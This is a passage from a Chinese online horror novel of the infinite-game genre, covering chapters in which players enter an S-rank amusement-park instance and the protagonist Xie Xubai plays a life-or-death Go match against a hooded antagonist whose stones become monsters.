能坐在这里的人,早已将生死置之度外。 接下来的时间,大家就手里的文件资料,对接下来该怎么部署行动、建立队伍搭配激情探讨,畅所欲言。 只是人力终有尽。 谈及肉体无法突破的极限,再和那些强大的诡异数值做相比,大家不约而同地沉默下去,相顾无言。 “虽然现在无法告知诸位,但我们已经准备好了用以对抗游戏的秘密武器。” 顿了顿。 “我曾听说过一个预言。”像是为了活络气氛,高级军官旁边的军官忽然开口,宽和地笑道,“当众神式微之际,将有存在被群星拥护,接过象征希望的权柄,引领人类走向全新的未来。” “严岳。” 被点名的严岳连忙扭头,对上高级军官炯炯有神的目光。 “你和祂的接触时间最长,就作为这次作战会议的代表之一,向我们介绍一遍那位仁慈的神祇,谢叙白吧。” …… 三天时间,转瞬即逝。《 》 170-180 第171章 【副本《游戏之家》已…… 下一个试炼副本的开启预告,早在三天前就已通过全服广播,用不同语系告知全体玩家。 【副本《游戏之家》已生成,将在三天后投入试炼。】 刹那间,无论是中美欧还是其他洲区,所有听到系统播报声的玩家都在第一时间停下手中的动作,用最快的速度打开副本信息面板,屏住呼吸,全神贯注地听着、看着。 没有情绪起伏的机械声继续响起。 【检测到玩家群体中已有人达成连续首通记录:9】 【地域保护已解除】 【本次试炼将解除洲区背景限制,所有玩家将收获不一样的体验,感受到各国不同的文化风俗!】 副本生活区的私人公寓内,一个黄头发的年轻人正懒洋洋地窝在沙发里,黑曜石制作的扑克牌耳坠,在白炽灯的映照下熠熠生辉。 这名年轻人正是魔术师。 他听到系统通报,不由得撩了下眼皮,将五阶魔方啪一声随手丢在桌子上:“还真让巅峰的那群人给说准了。” 旁边坐着一名五大三粗的中年人,应声说道:“听说巅峰公会早期的组建人中,有一名代号【预言家】的神级玩家,那人可以看到未来发生的事情。解除地域保护,应该是巅峰很早以前通过预言家得到的情报。” 自从玩家的记忆在不断的重生过程中经历过好几波大清洗,这种堪称古早时期的情报八卦,就变得格外稀奇且珍贵。 其他人纷纷都竖起耳朵,示意中年人多说一点。 中年人似有若无地看了眼心不在焉的小魔术师,说:“我知道也不多,只知道那名预言家是位女性,进入游戏前,是闻名全球的天文系博士,与中科院恒星观测研究所的首席研究员。她的个人信息和亲缘关系一度被列为最高机密。” “并且这名预言家曾在游戏进入白热化的阶段时,提出过一个至关重要的预言。那个预言关乎全人类的生死,而看到未来的她,也为之付出了相当惨烈的代价。” “同样也是因为这个预言,巅峰全员在最辉煌的时期销声匿迹,有人说看到他们在试炼池里闭关修炼。” 中断首通试炼,闭关修炼? 其他同伴忍不住看向魔术师。巅峰的一系列做法,不正和空窗两期首通副本的小魔术师完全重合吗? 难道他知道些什么? “别看我啊,巅峰连会议都没邀请我参加。”魔术师随口嘻嘻哈哈地敷衍道,“我不去参加首通试炼,不过是把机会让给更有潜力的新人罢了,要不然有我在,哪儿还有他们上场的份。” “至于巅峰的那群家伙,太板正,太严肃,跟我家提前步入更年期的老爷子似的,我跟他们说不到一块去,更别提有什么来往了。” “我还是有点不理解。”另外有人疑惑地问道,“解除地域限制是怎么一个解除法?” “难道系统要把我们传送到大洋彼岸去打吸血鬼吗?我现在去买大蒜圣水十字架还来不来得及?” “这点你完全可以放心。” 在大家期待的目光下,魔术师挑了下眉头,缓缓露出一个恶劣的笑容:“按照系统的尿性,实际情况只会比你想象的更糟糕。” “……呵。”众人嘴角疯狂抽搐,发出一声冷笑。 “不过你们确实可以放心。”魔术师不知道想到什么,嘴角勾起一抹放松的笑,“某个狡猾又心软的家伙一定不会置之不理。” —— 不管这三天时间里,玩家群体中掀起了怎样的惊涛骇浪,各方势力又在私底下碰撞出怎样汹涌的暗潮。 三天一到,所有暗地里的烽火狼烟,各种你来我往的试探,尽数暂停。 闯关者们秉持着肃穆认真的情绪,等待着系统的传送。 没有被系统强制要求参与游戏的玩家纷纷涌入直播区,顺着排行榜,点进直播间,开始聚精会神地等待。 肉眼可见各大热门主播的热度值正以指数飞快暴涨。 观众们死死盯住直播屏幕,有的人大气都不敢出一下。 正如这三天玩家空间无数人竞相争论的那样,美洲区那边已经有玩家达成记录【9】。 只差临门一脚,全体玩家就能结束这场游戏,赎回地球,见到他们的亲人和爱人。 系统给出的三年通关时限已经所剩无几,毫无疑问已经到了危急存亡的时期,更到了万众瞩目的一刻。 随着议会大厦旁的礼堂钟楼传出一声悠扬浑厚的钟声,紧张感如漾开的波纹在人们的心中蔓延。 冰冷阴森的系统播报应声响起,似乎自虚空之外传开,震入每一名玩家的耳朵里。 【正在载入《游戏之家》副本。】 鲜红的倒计时面板出现,秒针咔哒转动,玩家们仿佛能听见自己的心跳在无形的敲击下呯呯直跳。 系统播报声还在继续。 【为督促玩家积极通关试炼,全民战线模式持续开启。 系统将从没有报名的玩家中,随机抽取二分之一的幸运玩家直接进入《游戏之家》首通试炼。】 说到最后,音量陡然高昂起来,充斥着雀跃澎湃的情感。 像怪物终于等到可以进食的那一刻,撕掉多年的伪装,露出险恶阴森的一面,发出令人胆寒的尖笑。 【让我们摆脱躺平,摆脱懒惰,积极面对美好的明天![微笑]】 【为填补所有人闯关者昔日不够尽兴的遗憾,本场试炼形式有所更改,系统在这里预祝所有闯关者们游戏愉快!】 听到这个突如其来的通知,留守直播间的观众接连发出怒骂。 “我艹你X的系统,说清楚什么叫试炼形式有所更改?这么重要的事情你放在试炼开始前才说?!” 下一秒,倒计时彻底归零。 艳红的字迹从尾端缓缓流淌,宛若血泪从人的眼眶处淌下,黑暗如潮水将脸色各异的闯关者们吞噬。 【试炼开始!】 闯关者们的意识下沉,让人心悸的失重感接踵传来,冷风刮擦脸颊传来刺痛,像陡然从十万米的高空飞速坠落,又在某个节点刹停。 随着一阵叫人头晕目眩的震颤过后,他们缓缓睁开双眼。 视野笼着一圈刺目的白色光晕,几秒后才渐渐消弭,出现许多模糊的影子。 没等他们看清楚眼前的事物,一段悠扬的音乐在耳畔响起,曲调欢快轻松,极有节奏感,滴滴答答的,很像游乐场一般会选用的背景音乐。 然而,当唱出这首歌的人是个口□□气森森的小女孩,并且还像即将失去动力的发条木偶般一卡一卡的时候,气氛瞬间就变得恐怖骇人了起来。 小女孩锯木头般失真粗糙的嗓音在四周回荡。 “……整个世界就像一个巨大的游戏场。” “……The whole world is like a huge playground。” “胜者为王。” “The winner is the king。” “但失败的人总有退路。” “But those who fail always have a way out。” “因为家人会包涵你的全部。” “Because your family will ive you for everything。” 渗人的歌唱声渐渐远去,以为暂时安全了的新人玩家忐忑地眨了眨眼,视野从模糊恢复清晰,猛然被一张陡然靠近的小女孩吓了一跳。 身穿白色天鹅裙的女孩垫着脚尖凑到他的面前,冲着懵圈的玩家甜甜一笑,伸出双臂好似要拥抱他:“先生,您累了吗?累了就回家吧。不会再有纷争,不会再有死亡,只有爱你的家人等待着你。” “我……”玩家猝不及防地与她对上眼。 闪烁的蓝眼睛比宝蓝石还要纯粹,稚嫩精致的小脸蛋不染一丝尘埃,在灿烂的阳光下,美丽得宛如童话故事里的天使。 ——多好的女孩,多么纯洁可爱的引路天使。 对试炼的害怕与忐忑,全部在这一刻化作对家的执念渴望。 玩家恍惚感觉到从女孩身上散发一股安宁祥和的光辉,照耀着他,暖洋洋的热流从皮肤舒服到骨子里。 他不由自主地弯下身,等待着天使的拥抱,在心中向往地喃喃。 ——她会带我回家吗?不,她……她不就是我的家人吗? 正当这时,一股大力从旁边袭来,有人狠狠地拽住他,大声怒骂:“醒醒!你们都在搞什么东西,被鬼糊住了眼吗?” 被掐住胳膊的剧痛传开,玩家一个激灵,忍不住眨了眨眼。 再下一秒,他蓦然瞪大双眼 女孩依旧笑盈盈地看着他,模样如天使般纯洁无瑕。 然而她的皮肤在融化。 像被烧融的蜡烛那样,湿黏的皮肉连带血管组织簌簌往下掉,两颗宝石般的眼珠子啪嗒掉地,滚一圈血泥,很快露出森白的骨骼,扭曲的脏器。 被扯开的唇角只有一块猩红腐烂的皮沾在上面,这个视角看下去,甚至能清晰看见女孩微微鼓动的声带。 “先生,为什么不愿意回家呀——” 噗通。 玩家一个腿软,往后瘫坐在地,脸色惨白如纸,抖得像个筛子。 他惊惧快速地一眨眼,面前的景象倏然变化。 不再有皮肉脱落的女孩站在他的面前,触目所及,是一个超大型游乐场,但是具体有多大,无法用肉眼来衡量,站在十字路口一眼望不到头。 随处可见穿戴动物皮套的工作人员,可那些皮套上竟能看见白花花的脂肪和血淋淋的碎肉,真实得像是新鲜现剖下来的一样。 各种非常规的游乐设施横贯眼前,连在一起,构架成昏暗森冷的钢铁囚笼。 最叫人瞩目的,当属游乐场远处看似立在中心位置的一座黑塔。 塔特别高,雄伟壮观,圆形立柱的设计,一路往上直破云霄,依旧看不到头。仿佛能顺着这条通天的路,抵达缥缈浩瀚的宇宙。 那座塔给玩家的感觉非常诡异,便是站在这里,离它有很长一段距离,都能感受到十足的压迫感。 “等一下,停下,你要去哪儿?醒醒啊!那些都是幻觉!” 惊慌失措的叫喊声从不远处传来。 广场空地站着二十多名玩家,按照上一场的试炼规模来看,这个数量不算密集。 不过,要是加上前方双眼空洞,像提线木偶般摇摇晃晃走向路口的另外三十多名玩家,那就有些让人惊悚了。 发出叫喊的是一名女生,她牟足劲儿拼命拽住同伴的手臂,眼看要被毫无知觉的同伴拖走,急得她连踹带拍,试图唤醒对方的神志。 也是这个时候,一道巨大瘦长的阴影从头临下将她罩住。 女生倏然僵住,缓慢恐惧地抬头望头顶看,正对上一双黑白分明的笑眼。 西装革履戴着高礼帽的瘦长鬼影,不知何时出现在路口,单手拽着一个粉粉白白很有童话色彩的手推车,脸上两撇小胡子,一副英国绅士的模样。 它看起来足足有两层楼那样高,说话的时候,枯瘦如柴的腰肢几乎垂地弯出一百五十度,笑脸贴近女孩紧缩的瞳孔。 “美丽可爱的女士,你也想要跟我们一起走吗~” 第172章 “谢叙白,你拿什么跟…… 斗篷人捻着一枚棋子,苍白指尖划过冷润棋面。怨魂声嘶力竭的哀嚎从中传开,犹如尖针反反复复刺入耳内。 ta眼睫垂下,透着说不出的淡漠。 虚空中传来刺耳的咆哮。 【你到底在干什么?!】 【我让你想办法杀了邪神,不是把祂刺激成一个疯子!】 【现在祂的意识正在不管不顾地攻击系统核心,侵入游戏的底层逻辑!!滋啦咔……!】 那边不知道爆发出怎样激烈的战斗,信号受到影响,怒不可遏的质问被撞成紊乱嘈杂的电流声。 像极了一个人被按头暴揍时的痛叫。 百无聊赖的斗篷人这才有了点反应,掀开眼皮,嘴角勾起一个细微的弧度。 那抹微不可查又带着点愉悦的笑被系统捕捉,暴躁吼声戛然而止。 紧接着一股无形的巨力扼住斗篷人的咽喉,将ta狠狠地掼在玉石桌面上,嘭!竟是生生砸裂一条缝! 虚空外的声音诡谲森冷,满是怀疑地逼问道。 【……难道祂找上门,是你在搞鬼?】 喉骨被捏得咔嚓作响,斗篷人苍白的脸色因缺氧而憋到涨红,牙关打颤。 半裹住身体的斗篷在碰撞中滑落,露出削瘦的腰肢,颤颤巍巍地抵在冰冷坚硬的桌沿边,像一只脆弱易折的白天鹅。 但ta的神情依然冷淡。 像是灵魂脱离身体,于高处冷眼旁观,充斥着一股无法形容的割裂感。 ta的余光瞥见棋桌上的那条缝,浑白的眼珠子骨碌一转,冰冷嗓音缓缓道:“你知不知道,这是我挑了多久的桌子啊……” 这话换个表达就是:你知不知道,我有多么期待和他的这一场棋局? 斗篷人的身后全是悬浮的棋子。 棋面冒着猩红的血光,棋内诡怪嘶吼,冤魂泣血,难以消解的怨气邪气通通凝成叫人胆寒的煞气。 可斗篷人平平淡淡的一声叹息,语气里压抑到极致的危险气息,竟分分钟将无数棋子的煞气尽数压制下去。 扼住ta的力量倏然一僵,仿佛想起什么不愉快的回忆,触电般将ta松开。 危险解除,斗篷人生理性闷咳两声,就势躺在棋桌上。 没一会儿好似恢复平日的情绪,淡淡地说:“我不可能背叛你,这点你比任何人都清楚。” 【……】 斗篷人:“与其把精力花在怀疑我身上,不如想想办法怎么对付那头愤怒的大章鱼。” 虚空外的声音怒气冲冲:【你说得倒轻松!】 事实上邪神的进攻一直没停止,细听能发现祂被步步逼退的狼狈怒骂。 斗篷人勾起嘴角,只是笑,笑意不达眼底。 ta饶有兴致:“我倒有一个建议,你要实在抵挡不住,不如顺水推舟把祂放进游戏,再改造成嗜血残暴的副本boss,让他们立场相对,自相残杀。这不也是你惯用的伎俩吗?” 对方觉得ta简直是异想天开,分外暴躁:【那是食遍欲望主导蛊惑的邪神,想要诱惑祂堕落简直是痴人说梦!】 “痴人说梦?明显是你没找对方法。”斗篷人循循善诱,“仔细想一想,为什么祂会疯到抽离意识去和你硬碰硬?” 声音一滞,似乎反应过来,缓慢念出一个名字。 【谢叙白?】 斗篷人笑道:“相信我,只要用谢叙白的安危做诱饵,不管多少次那头大章鱼都会上钩,百试百灵。” 那声音继续沉默,不多时,无形的视线自高往下,将斗篷人从头审视到脚。 那视线透着说不出的怪异,判断斗篷人到底是真心献策还是另有阴谋算计,在不间断的审视间,逐渐化作浓郁阴险的恶意。 【你说得对,还有呢?】 斗篷人似乎对祂的不怀好意置若罔闻,又开口提出几个细节上的建议。 虚空上的存在将ta的策略投入系统,根据算力推演,可行性居然异常的高。 不过,用谢叙白做饵,还有一个危险至极的问题。 一个被折磨虐杀的犬诡,一个信仰崩塌的江家少爷,一个饱受磋磨的天骄院长,还有一个黑化边缘的孽血恶种。 系统投放的boss还少了吗? 在那无数次推演中,每个boss都将给玩家带来毁天灭地的绝望,却通通在谢叙白的身上遭到滑铁卢。 祂低估了他们之间的羁绊,也低估了谢叙白的影响力。 更没有想到这名普通的人类,竟然能和目中无人的邪神搅合在一起,变成这场游戏的故障,变成祂们没有预料到的bug! 系统所设下的一个个障碍,反而助长谢叙白以凡人之躯踏入成神路。 祂险些没气出一口老血。 如今,亲眼见证谢叙白制造出一件件不可能事件,仿佛也在逐步印证着那股不祥的预感。 事情走向脱离计划的失控感亦让祂日渐不安,甚至于产生出一丝难言的恐惧。 祂盯着斗篷人,咄咄逼人的压迫感宛若千斤巨石砸在斗篷人的身上,森冷地威胁。 【无论你用什么办法,必须在这场游戏中杀了谢叙白,中断所有玩家的连胜。】 【这是你唯一的机会,否则你再也别想见到自己的所爱之人!】 —— 不知道多久之后。 斗篷人感应到空间的入口传出细微的波动。 有外人进入。 得到邀请函的人只有一个,所以进来的人会是谁,可想而知。 铺天盖地的棋子也在这一刻消失。 来人进入后,定神打量四周。 斗篷人身处的这个空间乍看非常空旷,寥寥草草,细看又内有乾坤。 ta只身位于悬浮半空的凉亭内,底下是没有陆地的湖面。 湖水宛若泼洒而成的水墨画,不知深浅,黑白两色彼此交融,钩织出潋滟韵味的柔波。 水下手掌大小的黑影涌动,感受到外人到来的动静,好奇地探出水面,竟是寻常的锦鲤。 来人带来一阵风,锦鲤们似乎受惊,甩甩尾巴唰一下钻回水下,颇为可爱。 似乎觉得这样的画风和斗篷人严重不符,来人站了一会儿,才看向通往空中凉亭的台阶,拾级而上。 整个空间简陋得除了水墨湖和凉亭就没有其他东西,颜色单调得不是黑就是白,来人以为凉亭上也不会有什么装饰物。 但上面居然有几簇青翠葱郁的绿植,竹叶轻晃,与墨画山水相得益彰,别具风雅。 最显目的,当属正中间的那张棋桌。不知道用什么珍贵的玉石雕琢而成,通体青黛,剔透晶莹,触之寒凉。 只是中间裂开了一条缝,横贯桌面,犹如狰狞的瘢痕,直接毁了整个棋桌。 斗篷人依然躺在桌面上,一动不动。 直到来人走近,颀长清瘦的影子从头临下,将ta罩住,ta才睁开眼睛,和谢叙白的视线两两相望。 后者应该是看不见的。 但谢叙白却瞧见,和他对上眼的那一刻,那双浑浊无光的眼睛似乎一点点亮了起来,笑容堪称鲜活。 只是展露的笑意苍白诡谲,弥漫着一股死气,让谢叙白无端想起自己当年没能救下来的那两棵迎客松。 发现谢叙白的身边没有其他人或诡异的气息,斗篷人缓缓开口:“我原以为,凭你的谨慎程度,就算下不了狠心去制造棋子,至少也不会自大到孤身前往。” ta的语气淡得如同一阵风,在下方的水墨湖掀起剧烈的波澜:“还是你当真以为,我无法对你构成任何威胁?” 话音未落,谢叙白的身旁传来剧烈波动。 斗篷人的眉头狠狠一跳,猛然朝那空无一物的位置看去。 只见半空裂开一道偌大的口子,数道滑腻粗长的触手交错涌动,冰冷的猩红兽瞳透过缝隙看向ta,浩瀚神威裹挟着汹涌的杀意潮水般灌入整个空间。 咔—— 四面八方传出不堪重负的破裂声。 “……”斗篷人终于从棋桌坐了起来,面无表情。 其实失去灵魂的邪神躯壳不太能听懂话,只是祂从斗篷人的身上感受到一股针对谢叙白的敌意,瞬间就像被触怒的雄狮,本能地发起袭击。 如果邪神本体完全进入这个空间,毫无疑问,整个空间会在瞬间崩成一串连环炮。 斗篷人看向谢叙白,一字一顿地说:“如果我现在死掉,那些玩家都要给我陪葬,你信不信?” 躯壳不听也听不懂,触手高举,若参天巨物,血瞳中凶戾的杀意几乎克制不住。 也是这时,谢叙白的手掌探入裂口,温柔地拍了拍它:“乖,停下。” 那力道对邪神躯壳来说,微小到可以忽略不计,但躯壳却神奇地安分下来,怒火收放自如,触手摆动,眷恋地蹭了蹭谢叙白的掌心。 但谢叙白没有让触手完全缩回去,毫无波澜地看向斗篷人:“如果你的死能解决掉所有玩家,为什么系统能放任你活到现在?” 斗篷人咧开嘴角,透出几分凉薄讥讽,意外的配合回答:“因为游戏必须要公平公正啊。要是主办方亲自下场,搞得所有玩家没得玩,那这场游戏还有什么意义。” 谢叙白瞥ta一眼:“由谁来定义公平公正?如果系统犯规,又是谁来处理?” “谁知道呢。”斗篷人讳莫如深地笑着说,“其实系统充其量只是一个工具,摧毁一个两个,还有无数个。不拉停开关,流水线只会源源不断地产出,盯着它没有任何意义。” 你要对付的,应该是制造出系统的存在。 谢叙白从斗篷人皮笑肉不笑的神情中读出这一层意味,不置可否,叫人看不出他有没有信了斗篷人的话。 基于宴朔让他成神前不要深究的叮嘱,谢叙白没有继续问下去,淡然地看向眼前的棋桌:“你想怎么下这盘棋?” 斗篷人笑了一声,率先落座。 谢叙白见ta毫无顾忌,也跟着坐下去。 三天时间,谢叙白一直收集有关“游戏之家”的线索。 通往其他城市的道路被迷雾截断,无论用什么方式,乘坐何种交通工具闯进去,都会被随机传送到H市的任何一个角落。 外面的人进不来,里面的人出不去,就像一座被锁定后禁止通行的孤岛。市民们无知无觉,只有觉醒后的诡异能窥见这离奇一幕。 无时无刻不在强调,现如今的诡异世界,是被构造出来的副本。 但这件事谢叙白早在二十年前就已得知,十分平静。 也是第三天的午夜十二点,他像当初收到剧院戏票一般,收到了斗篷人寄来的邀请函,只是将力量灌输进去,便打开了眼前的空间。 在看到棋桌之前,谢叙白没想到斗篷人所说的下棋,是真的下棋。 或许有肉眼看不见的门道。 毕竟这个棋桌有规则之力。 便是落座的一瞬间,谢叙白的感知识念顺着规则之力的牵引,宛若滴水落入池塘,轻巧地落在棋桌上,和规则融为一体。 他的识念突然变得无限宽阔,灵魂在冰凉的向上气流中升腾。 仿佛化作一股螺旋的飓风窜入未知的意识空间,直上云霄,凌驾在世界之上。 谢叙白低头。 他看见了。 他看见一个游乐场,看见游乐场中间高耸入云的黑塔。 看见猩红不祥的能量体宛若丝丝缕缕的线条,流淌在游乐场的各个角落。看见刚刚进入游戏,此时满脸迷茫的玩家。 这奇妙神异的感觉简直无法形容。 他的视线自高往下,看见天地万物变得渺小,被观测,被收束,被囊括在这……棋盘之间? “谢叙白,我给过你忠告。” 谢叙白倏然抬眸,意识仿佛被分成两半,一半留在棋盘世界,一半在凉亭中抬头,和斗篷人对视。 在斗篷人的右手边,出现了一个碗大的空间裂缝,ta将手伸进去,捻起一枚棋子。 “我让你去搜寻可用的棋子,但是你好像完全没有当回事。” 一声清脆的轻响,斗篷人指尖的棋子落在玉石棋盘上。 下一秒,它化作涌动奔涌的黑雾,咆哮着融入棋盘中的世界,在游乐场的十字路口凝聚成一道穿着绅士西装的瘦长黑影。 游乐场响起欢快雀跃的歌谣,比摩天轮还大的黑塔立于云霄。旋转木马悠悠地转动,穿着玩偶服的工作人员牵着五颜六色的热气球,蹦蹦跳跳。 足有一层楼高的瘦长黑影就这样出现在所有玩家的面前,高礼帽摘下来,轻轻一招手,扯出诡异笑脸,玩家们便被幻觉餍住,恍恍惚惚地走过去。 斗篷人手中的棋子,竟在落在棋盘的瞬间变成了对付玩家的怪物! 斗篷人直勾勾地盯着谢叙白,嘴角弧度止不住地上扬。 那股复杂矛盾的特质再度出现在ta的身上,令ta的笑容格外扭曲,兴奋得眼尾漾开一片糜烂的红,又似乎非常难过:“告诉我谢叙白,现在一枚棋子都拿不出来的你,要用什么和我斗?” 第173章 外国小队 随着斗篷人的这一句话,平静祥和的水墨湖突然异变。 大片浓墨呈漩涡状汇聚,下一秒拔地而起,半空中凝聚成一头巨大的黑色鱼怪。 鱼怪体长粗壮,头大,吻部长而尖利,豆豆眼冒着猩红凶光,从下往上,凶猛地撞上凉亭的地板石砖。 嘭! 一下,谢叙白的身体随整个凉亭重重一震。 嘭! 两下,谢叙白踩着的石砖倏然开裂,在剧烈的撞击中逐渐崩开更大的开口。夸嚓一下,大块碎石松动,齐刷刷地往下掉。 嘭! 三下,地砖终于崩碎,再也承受不住力量,扑扑簌簌掉了个干净。 谢叙白的双脚唰一下踩空,坠在空荡荡的半空。 鱼怪大喜过望,尾巴拍击湖面,再度跃起几十米,冲着谢叙白露出长满尖牙的血盆大口,要将他吞进肚子里! 嘭! 鱼怪撞到无形的屏障,重重地掉入水墨湖,扑通一声,掀起大片墨色波浪。 鱼怪气急败坏,尾巴将墨汁拍得到处都是,却又不甘心这么放过到嘴的食物。 影子比凉亭大了无数倍,在湖水下游动徘徊时,极具视觉上的压迫感。 食人鱼怪毫不掩饰地散发出危险气息,偶尔露出湖面,虎视眈眈地盯着凉亭内的两人,流露出对血肉的贪婪渴望。 狂风大作,从谢叙白平静的脸庞一掠而过,衣摆翻飞,鬓发微扬。 空气中弥漫着古朴浓厚的墨水味,带着丝丝彻骨的凉意。 亲眼看见脚踩的地面碎裂,谢叙白只在最开始讶然地扬起一边眉毛,脸色没有太大的变化。 他能这么淡定,其一是没有感受到强烈的失重感。 其二是很快发现,自己坐着的椅子、眼前的棋桌和对面的斗篷人,都纹丝不动地留在原地。 因为此时此刻,托住他们的不再是凉亭的地板。 而是无数枚横摆在两人身下,也在刚才充当屏障作用,挡住了鱼怪的棋子。 这些棋子不是正常的大小,每一枚横截面都堪比水桶大,重重叠叠地垒在一起,如同地基。 斗篷人手持黑棋,支撑着ta的棋子也是黑色,表面散发着猩红的血雾,两者像是融为一体。 谢叙白看向自己的脚底。 围棋笼统两种颜色,既然对面持黑,那么他应当就是白棋。 果不其然。 白棋托在他的鞋底,散着朦胧柔和的白光。 但或许是没有携带棋子的原因,那些白棋是半透明的虚化状态,不真切,如同阳光下逐渐消融的冰块,随时都会消失。 步入棋局的那一刻,谢叙白的身体仿佛被施加了无形的枷锁。那力量渗入毛孔,浸入骨骸,拽住他的灵魂,沉甸甸地往下坠。 ——他没法起身,更没法离开这个棋桌,也没法用力量去对抗规则之力。 湖里徘徊着残暴吃人的鱼怪,中间几十米没有任何阻拦物。 可想而知,当这些托住他们的棋子彻底消失,他们会有什么样的下场。 斗篷人好以整暇地问:“你要怎么办呢,谢叙白?” 谢叙白没说话。 斗篷人笑着说:“不如我来告诉你一个办法吧。” “看到那些玩家没有,是不是有很多熟面孔?" 斗篷人压低声线循循善诱:“这一次的副本试炼解除地域限制,几大洲的人被随机分配到各个游戏区,下面是我随意挑选的一个地方。但你的运气非常好,这个游戏区的玩家几乎全是中洲区的成员。” “医院那场试炼,你精神力爆发侵入系统,突破空间限制,和所有观看直播的观众来了一个面对面亲密接触,堪称大型现下传jiao现场,效果非常显著! 我相信你自己也能感觉到,那些玩家中有不少是你的信徒,凝实的信仰线坚固得都快变成实体了。” “那些触犯规则的玩家,反正躲不开必死的结局。” 斗篷人浑白的眼珠子绽放出浓烈的恶意:“与其让他们变成副本的养料,白白浪费,不如你通过信仰之力将他们淬炼成可用的棋子,用来铺就存活玩家的生路。” “这不也是你和那些前赴后继的家伙们一直的做法吗?用少数人的牺牲,成全多数人的未来,多么感人肺腑可歌可泣的伟大意志啊——” 特意拖长的音调满是浓浓的嘲讽。 谢叙白不咸不淡地看ta一眼:“你这么看不过眼,是因为没有人愿意为你这种丧尽天良的小人牺牲吗?还是说,你连一个爱你的人都没有?” 斗篷人的笑容骤然一僵。 谢叙白凉凉地挑了挑嘴角:“真可悲。” 咔嚓一声。斗篷人扣在桌下的手指一个使劲,直接将玉石桌角掰下来一小块,手背青筋暴跳。 ta用看死人的眼神紧盯谢叙白,咬牙切齿阴沉嗓音道:“你会后悔的。” 谢叙白置若罔闻。 现在,棋子承载着他们的生死。 除了输赢,围棋也存在平局。 然而,眼前的棋盘看似是19*19的标准制式,边缘线却没有封闭。 这意味着真实的棋盘没有边界,或许有无穷大。 只要棋子够多,他们就可以一直下,下到天荒地老。 但棋局没有时限,副本试炼却有。 斗篷人提到“登塔”,是不是代表着只有登上塔顶,玩家才能通关这场副本? 谢叙白既然要让玩家顺利通关,那么就不能想着拖延时间来打成平局。 他耗不起。 但胜利的条件并不模糊,即便斗篷人没有介绍规则,也清晰明了。 ——吃棋。 落在棋盘上的棋子不会受到数量限制,但是托住他们身体的棋子,分别只有十枚。 先一步被吃掉十枚棋子的棋手会怎么样? 谢叙白需要验证自己的猜想,他将意识重新投入棋盘世界。 —— 附近街道的玩偶几乎都停下了脚步,转过身往这里看。 它们脸上映着动画中小动物纯真可爱的笑脸,很假,但浓稠透明的涎水却从那虚假的黑线条画出来的嘴渗出,啪嗒掉在地上。 仔细听,还有吞咽的声音。 空气死寂一片。黑西装的瘦长鬼影贴近女玩家的脸,露出渗人笑意:“这位美丽可爱的女士,你要跟我们一起走吗~” 走什么?走到哪儿去? 一起走是怎么走? 女玩家的视线余光透过肢体缝隙,看向前面被蛊惑的玩家。 瘦长鬼影手里有个推车,那些玩家正在走向推车。 过程中眼神越来越空洞,五官朝内凹陷压平,身体一点点变小,具有肉感的光滑皮肤肉眼可见变得粗糙,不像人皮了,像变成了……布料? 玩偶布料! 他们变成了玩偶! 和瘦长鬼影贴近,女玩家的手背也隐约浮现出布料的花色。 任何人看见自己变成怪物的过程,估计都会被吓得魂飞魄散。 但女玩家一个激灵,竟飞起一脚,啪一声将凑近的瘦长黑影脑袋用力踹开,并趁机将自己的同伴拉到几米开外! 发现同伴半个身体都变成了玩偶,呼吸几近于无,女玩家神情凝重,却没有慌张,飞快拿出净化道具为她抑制污染,同时大吼呼唤其他队友:“鉴定一下眼前的诡怪是什么等级!” 当即就有两个人反应极快地冲了上来,一人帮忙抬起神志不清的同伴往后撤退,一人冷静地使用鉴定术。 全民战线模式拉了二分之一的玩家进场,本次副本的参加人数堪称宏大,仅是一个游戏分区,就塞满了接近一百多人。 但奋斗在首通试炼前线的终究是少数人,大部分都是咸鱼,只在直播屏幕中体会过诡怪的可怕。 S级诡王副本,《游戏之家》 仅是A级的诡王副本,就让大多数玩家望而生畏。而S级副本,更是在亲身进入之后才能切实体会到。 ——这里的空气都和外界不一样,浓重、压抑。每一处阴影笼罩的角落,仿佛都潜伏着数双黑白分明的眼睛,狞笑着,不怀好意,仿佛他们是被囚在栅栏里的待宰猪羊。 看见瘦长鬼影露出阴森微笑,朝着他们招手,一股寒意顺着脊背打入脑神经,鸡皮疙瘩暴起。 无数玩家惊恐尖叫,屁滚尿流地朝四面八方逃窜。 有经验的人尝试去拦,但拉不住的,也只能放开。 这里是九死一生的无限世界,人人自顾不暇,就算大罗金仙也救不了执意要往怪物嘴里跳的傻叉。 让人意外的是,留下来的玩家竟然也不少。 老话说得好,没吃过猪肉总看过猪跑。不说走散被单杀的电影经典情节历历在目,单说接受过那么多场直播的熏陶,只要是有脑子的观众,都知道没有自保能力的情况下,一定不能一个人乱跑。 还有人光脚的不怕穿鞋的。反正身上也没有什么积分,死了就死了,重生一遍不心疼。 所有人都牢牢地记挂着一件事。 这场试炼副本,可是有一名记录【9】的玩家。 胜利的曙光近在咫尺,不管是不是自愿参加,大家的心态到底变得不一样了。 面对几乎不能战胜的诡怪,竟也生出几分熊熊战欲。 议会长在试炼开启前进行过一场演讲,用于全民动员,鼓舞士气。 一亿五千万人的参与,中洲玩家人数最多,随机后大概率能匹配到自己人。 所以议会长建议所有能力数值较低的玩家遇到危险后,如果情况不是非常紧急,先在原地等候三秒。他们见证过众志成城其利断金的岁月,如果自己没有头绪,不如听从指挥。 玩家们忍住恐惧等在原地,不多时,真就盼来了两队人主持大局。 其中一队包括刚才的女玩家,另一队竟然是金发碧眼的……外国人? 第174章 “黑王的游戏就要开启…… 全归为金发碧眼其实不太恰当,因为队伍里还有几个红肤褐发、黑肤黑发的人。 众人还没来得及完全看清楚他们的长相,就见队伍里冲出一道人影,闪电般掠过人群。 不是夸张,是真的闪电。 那人浑身裹着紫白色电流,犹如一颗超负荷将要爆炸的等离子电团。 周围的玩家感受到电流刮过皮肤的刺痛,连忙退让,骤然听见滋啦一声震耳欲聋的爆鸣。 他们猛然抬头,瞪大双眼,震撼看见无数道电流凝成一束威力巨大的雷霆,一举穿透瘦长鬼影的胸口,破开一个大窟窿! 嘭。 瘦长鬼影笑容一僵,巨大的身体缓缓倒在地上。 一个黑皮肤的年轻人站在它的身前,看上去不到二十岁,身穿绿白色球服,红褐头发扎成脏辫,居高临下地低头,身上噼里啪啦,萦绕着没有消散的电流。 从这人出现到击穿瘦长鬼影,整个过程不超过两秒钟。 没几个人来得及反应,肉眼只能看见空中划过阵阵残影,听到耳畔响起电离子对冲的爆鸣。 半晌,盯着瘦长鬼影一动不动的身体,有玩家倏然反应过来,欣喜若狂地喊:“死了!怪被杀死了!” 